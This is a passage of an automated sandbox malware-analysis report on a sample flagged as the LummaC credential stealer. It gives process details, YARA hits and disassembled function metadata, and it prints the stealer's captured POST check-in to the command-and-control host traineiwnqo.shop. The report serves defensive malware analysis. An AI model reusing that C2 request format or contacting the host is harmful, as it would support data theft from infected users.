2024-08-31 19:10:10 UTC	1369	IN	Data Raw: 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 33 78 6b 34 45 2e 32 6e 44 79 6d 4b 53 74 52 4f 34 33 76 52 44 6a 79 32 32 4a 67 45 30 36 5f 76 4a 6b 4e 72 4c 50 79 76 72 63 67 2d 31 37 32 35 31 33 31 34 31 30 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 Data Ascii: <input type="hidden" name="atok" value="3xk4E.2nDymKStRO43vRDjy22JgE06_vJkNrLPyvrcg-1725131410-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="backg
2024-08-31 19:10:10 UTC	839	IN	Data Raw: 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 Data Ascii: •</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span>
2024-08-31 19:10:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.96.3	443	6772	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:10:10 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=3xk4E.2nDymKStRO43vRDjy22JgE06_vJkNrLPyvrcg-1725131410-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: traineiwnqo.shop
2024-08-31 19:10:10 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 6e 6c 63 7a 6a 72 70 66 77 61 64 66 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--nlczjrpfwadf&j=
2024-08-31 19:10:11 UTC	798	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5kh51g551c07r657kakk6javgo; expires=Wed, 25 Dec 2024 12:56:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7qfH7iFY961igKbHTxD9opMSUISG%2Bh4ci%2FrTWNE8IMWj0CleYSBUim9lJrEsrjt7XjCgTzPmWH42hJAHxMoQnInkDlpahwTlOlq2aSKu245%2BKPWN8zhzA%2FHkwNYe2XkUNkPD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf51b69b3b8ce2-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 19:10:11 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-31 19:10:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:09:58
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\l5u4ezxr.u51.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\l5u4ezxr.u51.exe"
Imagebase:	0x580000
File size:	17'182'720 bytes
MD5 hash:	5BD0EC56270D24C40AA16D7FA73F2538
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1761754559.0000000002786000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1759655913.00000000022B3000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1761754559.0000000002496000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:10:04
Start date:	31/08/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x590000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.1%
Total number of Nodes:	133
Total number of Limit Nodes:	12

Executed Functions

Function 0042D702 Relevance: 23.3, APIs: 10, Strings: 3, Instructions: 556
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(?), ref: 0042D767
SysAllocString.OLEAUT32(?), ref: 0042D82E
VariantInit.OLEAUT32(?), ref: 0042D894
SysStringLen.OLEAUT32(873A8121), ref: 0042D95D

Strings

?=, xrefs: 0042D794
/-, xrefs: 0042D778
31, xrefs: 0042D77F

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: String$Alloc$InitVariant
String ID: /-$31$?=
API String ID: 3520221836-2341783892
Opcode ID: 1971556a049c314b120fa08fe6b060eee15df2ee786ccc502c9e38b77569bbc7
Instruction ID: 155b63241befc0a2a6a4295917ff903a517cb056a1f535e515aa01be428a3c33
Opcode Fuzzy Hash: 1971556a049c314b120fa08fe6b060eee15df2ee786ccc502c9e38b77569bbc7
Instruction Fuzzy Hash: 44128975604B01CFD7288F25E881B16B7B2FF99310F248A6DE4968B7A1D739F841CB54

Function 004323E3 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 481
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(D96CDB61,00000000,00000800), ref: 0043247E

Strings

<V , xrefs: 004325F1
h5'&, xrefs: 00432517
<V , xrefs: 00432543
h5'&, xrefs: 004323A2
<V , xrefs: 004322F5
"+C, xrefs: 00432B17
<V , xrefs: 00432995
S*C, xrefs: 00432592
h5'&, xrefs: 004325E8
S*C, xrefs: 00432615
<V , xrefs: 00432626
<V , xrefs: 00432A1D

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: "+C$S*C$S*C$h5'&$h5'&$h5'&$<V $<V $<V $<V $<V $<V
API String ID: 1029625771-3655222479
Opcode ID: 19657a7ca6d6d019b9b5743586cd4272c9b7eab55c5c57369c3dbc89e5ceed37
Instruction ID: 5ccefa3984adca6100e7a8c097a5c0f99ed8c012ab8ae59abf215876d2a827f6
Opcode Fuzzy Hash: 19657a7ca6d6d019b9b5743586cd4272c9b7eab55c5c57369c3dbc89e5ceed37
Instruction Fuzzy Hash: A202F67A95C3A0DFC714AF79B99113B7BF1AB8E302F045C79E09582261E23DC916CB19

Function 004321F0 Relevance: 15.5, Strings: 12, Instructions: 497
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<V , xrefs: 004325F1
h5'&, xrefs: 00432517
<V , xrefs: 00432543
h5'&, xrefs: 004323A2
<V , xrefs: 004322F5
"+C, xrefs: 00432B17
<V , xrefs: 00432995
S*C, xrefs: 00432592
h5'&, xrefs: 004325E8
S*C, xrefs: 00432615
<V , xrefs: 00432626
<V , xrefs: 00432A1D

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "+C$S*C$S*C$h5'&$h5'&$h5'&$<V $<V $<V $<V $<V $<V
API String ID: 0-3655222479
Opcode ID: 82d9e9839c631e5742dd57d15ccba99f048ec3cfc9623f4b8798b8f75217f765
Instruction ID: d5a696e6ccf25c5229b80cebc97a78327593b2fdca57d2d14fe98f87339d1e9d
Opcode Fuzzy Hash: 82d9e9839c631e5742dd57d15ccba99f048ec3cfc9623f4b8798b8f75217f765
Instruction Fuzzy Hash: 8A02F77A55C3A0EFC714AF39BD9113B7AF1AB8E342F055C79E08582261E23EC516CB19

Function 004324BC Relevance: 15.4, Strings: 12, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<V , xrefs: 004325F1
h5'&, xrefs: 00432517
<V , xrefs: 00432543
h5'&, xrefs: 004323A2
<V , xrefs: 004322F5
"+C, xrefs: 00432B17
<V , xrefs: 00432995
S*C, xrefs: 00432592
h5'&, xrefs: 004325E8
S*C, xrefs: 00432615
<V , xrefs: 00432626
<V , xrefs: 00432A1D

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "+C$S*C$S*C$h5'&$h5'&$h5'&$<V $<V $<V $<V $<V $<V
API String ID: 0-3655222479
Opcode ID: d2453801e8f97ed54468727887571f47c49008e7f4676811120e57c1d158a204
Instruction ID: ca05195c8438397edbbd179e37659689079ba56a29282ad33756255f3b33cd21
Opcode Fuzzy Hash: d2453801e8f97ed54468727887571f47c49008e7f4676811120e57c1d158a204
Instruction Fuzzy Hash: 02F1077A95C3A0DFC7147F79BD9113A7AF1AB8E302F055C79E08582261E23EC516CB19

Function 0043238A Relevance: 15.4, Strings: 12, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<V , xrefs: 004325F1
h5'&, xrefs: 00432517
<V , xrefs: 00432543
h5'&, xrefs: 004323A2
<V , xrefs: 004322F5
"+C, xrefs: 00432B17
<V , xrefs: 00432995
S*C, xrefs: 00432592
h5'&, xrefs: 004325E8
S*C, xrefs: 00432615
<V , xrefs: 00432626
<V , xrefs: 00432A1D

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "+C$S*C$S*C$h5'&$h5'&$h5'&$<V $<V $<V $<V $<V $<V
API String ID: 0-3655222479
Opcode ID: 7602eab39c2c201313d188c4bc0090ff34336bd32e4fb99cb3b7f8c0098debae
Instruction ID: dee54a9135f43020f922d350a9eab985568d362a993a0490df3e8edbc65ad605
Opcode Fuzzy Hash: 7602eab39c2c201313d188c4bc0090ff34336bd32e4fb99cb3b7f8c0098debae
Instruction Fuzzy Hash: A3F1167A95C3A0EFC7147F79BD9113A7AF1AB8E302F055C79E08582261E23EC516CB19

Function 0040C223 Relevance: 4.3, Strings: 3, Instructions: 575
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

traineiwnqo.shop, xrefs: 0040C9B8, 0040C9D8
P], xrefs: 0040C346
WR, xrefs: 0040C318

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: P]$WR$traineiwnqo.shop
API String ID: 0-1055694899
Opcode ID: a3f5254058aa14881bdc264bc3de7194c0be4bbe9ed59c204b42949976621c1d
Instruction ID: 787be46ccfb5448780eb9c34431c9d5b7735a6b864a4c23a47a4efe79b747946
Opcode Fuzzy Hash: a3f5254058aa14881bdc264bc3de7194c0be4bbe9ed59c204b42949976621c1d
Instruction Fuzzy Hash: B212767420C381DBD3149F29D890B2BBBE6FFC5314F149A2DE6C687290D7799811CB5A

Function 0042D5B9 Relevance: 3.2, APIs: 2, Instructions: 176
commemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00437A50,00000000,00000001,00437A40,?), ref: 0042D611
SysAllocString.OLEAUT32(?), ref: 0042D69B

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocCreateInstanceString
String ID:
API String ID: 218245030-0
Opcode ID: 42d8dd0feb32269bc74bdfedda80615c1ec40c8c4500e92ffad46c652e2e7d79
Instruction ID: dcce3a7d076c67f4921e3368af16096dfe40a5b3f23eabbac624cefcb3eef956
Opcode Fuzzy Hash: 42d8dd0feb32269bc74bdfedda80615c1ec40c8c4500e92ffad46c652e2e7d79
Instruction Fuzzy Hash: B76144B4900B00DFD324CF29D985A02BBF1FB4A310F108A5DE89A8BB65C771E845CF95

Function 0042E070 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

}E, xrefs: 0042E073

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: }E
API String ID: 0-2091753991
Opcode ID: 9972cd6f1a61b6ce9b40030b309b105f05c539f61b9dcf75db01352583a860a1
Instruction ID: 7125fbe81418866ab8e441d2b6c555ed2c620c39b8b4089f4255e3169908306e
Opcode Fuzzy Hash: 9972cd6f1a61b6ce9b40030b309b105f05c539f61b9dcf75db01352583a860a1
Instruction Fuzzy Hash: 1B21AD3270C3344BC72A9E2AD88027FB791DBC5310F9A853FED960B341E5794C01938A

Function 0040AB00 Relevance: 14.6, APIs: 3, Strings: 5, Instructions: 608
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(}E,00000000,00000800), ref: 0040ABB8

Strings

traineiwnqo.shop, xrefs: 0040B03F, 0040B2A6
F7FCEECEE1613DAC5BBF496FDCF17CFE, xrefs: 0040B07A
AC, xrefs: 0040AE53
}E, xrefs: 0040AB66
zF, xrefs: 0040AB17

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: F7FCEECEE1613DAC5BBF496FDCF17CFE$traineiwnqo.shop$zF$}E$AC
API String ID: 1029625771-989381730
Opcode ID: b48c45031b9f994bd8ee25836514755d76e85341619883c0b23bea207cd72001
Instruction ID: aae1f88d399f8aa2cde1d270c7db2c2ed164cfd98402ebded5167159846009d6
Opcode Fuzzy Hash: b48c45031b9f994bd8ee25836514755d76e85341619883c0b23bea207cd72001
Instruction Fuzzy Hash: 4E1202B05083408FD3109F16D8517AABBE1EFA2304F488A3EE4D56B3D2D7399905CB9E

Function 00409C50 Relevance: 4.5, APIs: 3, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00409C69
ExitProcess.KERNEL32 ref: 00409CBC

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Process$CurrentExit
String ID:
API String ID: 2333725396-0
Opcode ID: f339c58dedd90c563eb3b79c0e6eb913b10c814dba20f1d5749231ae20ccf13f
Instruction ID: b433b4166e3c936589e6d08321fbf818f94907af9d59bd89a7edafcaf2d4f5f7
Opcode Fuzzy Hash: f339c58dedd90c563eb3b79c0e6eb913b10c814dba20f1d5749231ae20ccf13f
Instruction Fuzzy Hash: F4F0D470C1C21496EA407B769A0A22E7AE46F11309F10053BF982B5297EB7E4D06A69F

Function 0042B980 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 0042B9A7

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c15cb6421de718d8dc3b9300246ca54f77bf5203313ab36d1f08ca0bbd26ac73
Instruction ID: fa6eb42784cd1e1343b77ecb8c4b0c97bb6aded786a19dcf31e27c2c89e454f1
Opcode Fuzzy Hash: c15cb6421de718d8dc3b9300246ca54f77bf5203313ab36d1f08ca0bbd26ac73
Instruction Fuzzy Hash: 6221CFB0A042558FC725CF6CD890BADBFF0AF1A320F08059CE495E7391D7309840CB61

Function 00430E60 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 00430EE8

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cdc874f61b3fadfe7568a27a3a1b608240852e432268d52aa0c68eaa185e0ef7
Instruction ID: 7273a777f29b50f42d87b323fce27bf3460dc71eab116038a71b473bf1d9341d
Opcode Fuzzy Hash: cdc874f61b3fadfe7568a27a3a1b608240852e432268d52aa0c68eaa185e0ef7
Instruction Fuzzy Hash: 3C01483420C2409BD308EF18D5A0A2ABBF2EFDA714F549A1CE1D6073A1C7349821CB8A

Function 00430E34 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00430E44

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4ddeea0bb637734fe95cfd0f13ea94e5784ccc68a715ae6da5ec7bdaa8ba33ee
Instruction ID: fb31d006da82fbae02e73dee1cb3e146a78c51a75b7d13c4449e40ece5c172ba
Opcode Fuzzy Hash: 4ddeea0bb637734fe95cfd0f13ea94e5784ccc68a715ae6da5ec7bdaa8ba33ee
Instruction Fuzzy Hash: EDB01230146110B8D03533111CC5FFF2C6CAF43F55F102014B204140C007546001D17D

Function 00432B70 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00434C8C,005C003F,00000006,?,?,00000018,B8BBBA85,?,?), ref: 00432B9E

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0042D6CE Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0042D6DE

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: f32efda8a408595c931fb99531d39dd756ff8d7ae71045aa7fc273a32605725b
Instruction ID: 747b3e276328743a62f0e7c9697751c71eeaf84b140fb369c79f4d85c3a4c554
Opcode Fuzzy Hash: f32efda8a408595c931fb99531d39dd756ff8d7ae71045aa7fc273a32605725b
Instruction Fuzzy Hash: 9FC048307C0300BBF6321B18FC9BF083624AB03F13F202064B741BC0E08AE266219A2E

Function 00430E40 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00430E44

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5d52d1d82a765bef4afffd9a3f769a468bad52c25b48b3ddc70304e749d59f51
Instruction ID: ed13a04799ba90dd3b0c69080832d03cbb37312c88e831b53e4d2961d0785a6d
Opcode Fuzzy Hash: 5d52d1d82a765bef4afffd9a3f769a468bad52c25b48b3ddc70304e749d59f51
Instruction Fuzzy Hash: D1A00230545151E9D16537116C95F6B29A8AB42A55F101064A215140D046646011D66D

Non-executed Functions

Function 00421460 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 150COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004214A9
GetSystemMetrics.USER32 ref: 004214B9

Strings

%, xrefs: 004217A1
%, xrefs: 004217F9
%, xrefs: 004217E3
%, xrefs: 0042178B
%, xrefs: 00421749
%, xrefs: 0042180F
%, xrefs: 00421733
, xrefs: 004215A6
%, xrefs: 0042171D
%, xrefs: 00421775
%, xrefs: 004217CD
%, xrefs: 0042175F
%, xrefs: 004217B7

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID: $%$%$%$%$%$%$%$%$%$%$%$%
API String ID: 4116985748-3887349493
Opcode ID: a6516148b308f5a4597ec0f24bee6ae976ca27bcebb5b057435933bfe3050140
Instruction ID: 089af03dff32a6bceaaa964fb1660551ebe4de356021c09c5863518aec456dc9
Opcode Fuzzy Hash: a6516148b308f5a4597ec0f24bee6ae976ca27bcebb5b057435933bfe3050140
Instruction Fuzzy Hash: 739170B05093808FD360DF25D99979BBBF0BB99348F00A91EE5C89B351D7799448CF8A

Function 0041AD70 Relevance: 23.1, Strings: 18, Instructions: 566COMMON

Download Yara Rule

Strings

6y4{, xrefs: 0041B493
SQ, xrefs: 0041B958
h9^;, xrefs: 0041B3E3
;=, xrefs: 0041AF82
,/, xrefs: 0041AFB9
+), xrefs: 0041B96E
TG, xrefs: 0041B19D
E1G, xrefs: 0041B446
1a1c, xrefs: 0041B4A9
IK, xrefs: 0041B625
o=h?, xrefs: 0041B3D8
4e:g, xrefs: 0041B49E
W5[7, xrefs: 0041B3C2
C)N+, xrefs: 0041B40F
=m?o, xrefs: 0041B4B4
T1c3, xrefs: 0041B3CD
79, xrefs: 0041AF77
WU, xrefs: 0041B94D

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: E1G$,/$1a1c$4e:g$6y4{$=m?o$C)N+$T1c3$TG$W5[7$h9^;$o=h?$+)$79$;=$IK$SQ$WU
API String ID: 0-528363291
Opcode ID: 7f2ff2a60bc0d5c88c726a6a78b2811a127e6507d8c4db7af685df84719261de
Instruction ID: a25bd237dfba6a5a2466bbde4e48ce14e1f362d7fd78934378971765c60d971a
Opcode Fuzzy Hash: 7f2ff2a60bc0d5c88c726a6a78b2811a127e6507d8c4db7af685df84719261de
Instruction Fuzzy Hash: 8E62D9B410D3858AE374CF15D481B9ABBE1BB8A304F608E2ED5ED5B245DB74904ACF92

Function 0040D0D0 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 405COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(C36DC103,00000104), ref: 0040D546

Strings

traineiwnqo.shop, xrefs: 0040D513
jabc, xrefs: 0040D436
fch%, xrefs: 0040D24A
F\[R, xrefs: 0040D21B
NXcR, xrefs: 0040D222
SVF, xrefs: 0040D214
[23", xrefs: 0040D22C
% `3, xrefs: 0040D236
#9uy, xrefs: 0040D240

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: DirectorySystem
String ID: #9uy$% `3$F\[R$NXcR$SVF$[23"$fch%$jabc$traineiwnqo.shop
API String ID: 2188284642-1904044563
Opcode ID: aaf5494a590f7cf0c3dd63bbb9bf8b9aeb9ebacfcb889a38e0261ff69fcbd6ac
Instruction ID: 4b2d29b8bfe72f13d0b66b8d58f0dfca4e881a5ff8156ed59654b8b01f0949d1
Opcode Fuzzy Hash: aaf5494a590f7cf0c3dd63bbb9bf8b9aeb9ebacfcb889a38e0261ff69fcbd6ac
Instruction Fuzzy Hash: 2ED178B4904B408FD3348F398995763BBE1EF46310F148A2DE8EB9B795D734A409CB96

Function 004292F0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 115clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00429311
